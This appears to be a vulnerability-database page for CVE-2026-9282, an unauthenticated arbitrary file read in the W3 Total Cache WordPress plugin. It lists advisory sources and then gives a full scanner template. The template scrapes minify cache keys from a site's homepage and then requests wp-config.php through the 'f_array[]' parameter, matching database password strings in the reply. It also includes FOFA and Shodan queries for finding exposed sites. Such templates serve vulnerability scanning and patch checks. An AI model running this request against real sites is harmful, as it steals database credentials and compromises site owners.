| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-9282 | 11 Jul 202607:30 | – | circl | |
| CVE-2026-9282 | 11 Jul 202606:50 | – | cve | |
| CVE-2026-9282 W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read via 'f_array[]' Parameter | 11 Jul 202606:50 | – | cvelist | |
| EUVD-2026-43164 | 11 Jul 202606:50 | – | euvd | |
| CVE-2026-9282 | 11 Jul 202607:16 | – | nvd | |
| WordPress W3 Total Cache plugin <= 2.9.4 - Unauthenticated Arbitrary File Read vulnerability | 14 Jul 202606:59 | – | patchstack | |
| PT-2026-57422 | 11 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-9282 W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read via 'f_array[]' Parameter | 11 Jul 202606:50 | – | vulnrichment |
id: CVE-2026-9282
info:
name: W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
author: 0x_Akoko
severity: high
description: |
W3 Total Cache WordPress plugin <= 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename.
impact: |
Unauthenticated attackers can read arbitrary files, potentially exposing sensitive information on the server.
remediation: |
Update to the latest version beyond 2.9.4.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e92cc06d-006f-4bba-a4ef-b23d80c00085
- https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/Minify_MinifiedFileRequestHandler.php#L191
- https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.4/lib/Minify/Minify/Controller/MinApp.php#L108
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-9282
epss-score: 0.00676
epss-percentile: 0.48199
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: boldgrid
product: w3-total-cache
fofa-query: body="/wp-content/plugins/w3-total-cache/"
shodan-query: http.html:"w3-total-cache"
tags: cve,cve2026,wordpress,wp-plugin,w3-total-cache,lfi,unauth,disclosure
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "/wp-content/cache/minify/")'
condition: and
internal: true
extractors:
- type: regex
name: theme_key
internal: true
part: body
group: 1
regex:
- '/wp-content/cache/minify/([a-f0-9]+)\.[^./"]+\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'
- type: regex
name: template_key
internal: true
part: body
group: 1
regex:
- '/wp-content/cache/minify/[a-f0-9]+\.([^./"]+)\.include(?:-(?:footer|body))?\.[a-f0-9]+\.(?:css|js)'
- raw:
- |
GET /?w3tc_minify={{theme_key}}.{{template_key}}.include.{{theme_key}}.css&f_array[]=wp-config.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/css")'
- 'contains(body, "DB_PASSWORD")'
- 'contains(body, "DB_NAME")'
condition: and
# digest: 4b0a00483046022100bca34df7b8a3c7cdc0e8d7f303fb74000ac5247caa8a7fa186f0ac4c8d782b23022100fe522bd4d8ea1916d57d1be25296ad55274a1539f458d24399716aed50291588:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation